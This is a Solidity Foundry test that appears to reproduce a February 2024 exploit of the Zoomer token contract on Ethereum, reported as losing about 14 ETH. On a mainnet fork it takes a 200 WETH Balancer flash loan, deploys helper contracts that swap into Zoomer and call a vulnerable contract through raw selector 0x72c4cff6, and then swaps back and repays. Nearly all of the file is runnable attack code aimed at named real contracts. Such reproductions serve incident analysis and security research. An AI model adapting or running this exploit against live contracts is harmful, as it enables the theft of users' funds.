src/test/2024-02/Zoomer_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo -- Total Lost : ~14 ETH
8// TX : https://app.blocksec.com/explorer/tx/eth/0x06d7e7436414c658a33452d28400799f3637e83930dcec39b3bd065dabc6ef04
9// Attacker : https://etherscan.io/address/0xb0380b6d7a63e7cbf274c3b3c8838abbd6bd4abe
10// Attack Contract : https://etherscan.io/address/0xa4854022f4c16f0abc3fdec300427f6179a3043b
11// GUY : https://x.com/ChainAegis/status/1761246415488225668
12 
13contract ContractTest is Test {
14    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
15    IUniswapV2Router Router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
16    IERC20 Zoomer = IERC20(0x0D505C03d30e65f6e9b4Ef88855a47a89e4b7676);
17    address Vulncontract = 0x9700204D77A67A18eA8F1B47275897b21e5eFA97;
18    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
19    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
20    IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
21    Money HackContract;
22 
23    function setUp() external {
24        cheats.createSelectFork("mainnet", 19_291_249);
25    }
26 
27    function testExploit() external {
28        emit log_named_decimal_uint("[Begin] Attacker ETH before exploit", address(this).balance, 18);
29        address[] memory tokens = new address[](1);
30        tokens[0] = address(WETH);
31        uint256[] memory amounts = new uint256[](1);
32        amounts[0] = 200 ether;
33        bytes memory userData = abi.encode(amounts, tokens, "test");
34        Balancer.flashLoan(address(this), tokens, amounts, userData);
35        emit log_named_decimal_uint("[Begin] Attacker ETH after exploit", address(this).balance, 18);
36    }
37 
38    function receiveFlashLoan(
39        address[] memory tokens,
40        uint256[] memory amounts,
41        uint256[] memory feeAmounts,
42        bytes memory userData
43    ) external {
44        for (uint256 i; i < 5; ++i) {
45            HackContract = new Money{value: 200 ether}();
46            swap_token_to_ExactToken(Zoomer.balanceOf(address(this)), address(Zoomer), address(WETH), type(uint256).max);
47        }
48        WETH.transfer(address(msg.sender), 200 ether);
49    }
50 
51    function swap_token_to_ExactToken(uint256 amount, address a, address b, uint256 amountInMax) public payable {
52        IERC20(a).approve(address(Router), amountInMax);
53        address[] memory path = new address[](2);
54        path[0] = address(a);
55        path[1] = address(b);
56        Router.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 120);
57    }
58 
59    fallback() external payable {}
60}
61 
62contract Money is Test {
63    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
64    IUniswapV2Router Router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
65    IERC20 Zoomer = IERC20(0x0D505C03d30e65f6e9b4Ef88855a47a89e4b7676);
66    address Vulncontract = 0x9700204D77A67A18eA8F1B47275897b21e5eFA97;
67    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
68    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
69    address owner;
70 
71    constructor() payable {
72        owner = msg.sender;
73        Attack();
74    }
75 
76    function Attack() public payable {
77        require(owner == msg.sender, "Error");
78        swap_token_to_ExactToken(199.9 ether, address(WETH), address(Zoomer), type(uint256).max);
79        Zoomer.approve(address(Vulncontract), type(uint256).max);
80        address(Vulncontract).call{value: 0.02 ether}(
81            abi.encodeWithSelector(bytes4(0x72c4cff6), address(Zoomer), 30_265_400 ether)
82        );
83        Zoomer.transfer(address(msg.sender), Zoomer.balanceOf(address(this)));
84        (msg.sender).call{value: address(this).balance}("");
85    }
86 
87    function swap_token_to_ExactToken(uint256 amount, address a, address b, uint256 amountInMax) public payable {
88        IERC20(a).approve(address(Router), amountInMax);
89        address[] memory path = new address[](2);
90        path[0] = address(a);
91        path[1] = address(b);
92        Router.swapExactETHForTokens{value: amount}(0, path, address(this), block.timestamp);
93    }
94 
95    fallback() external payable {}
96}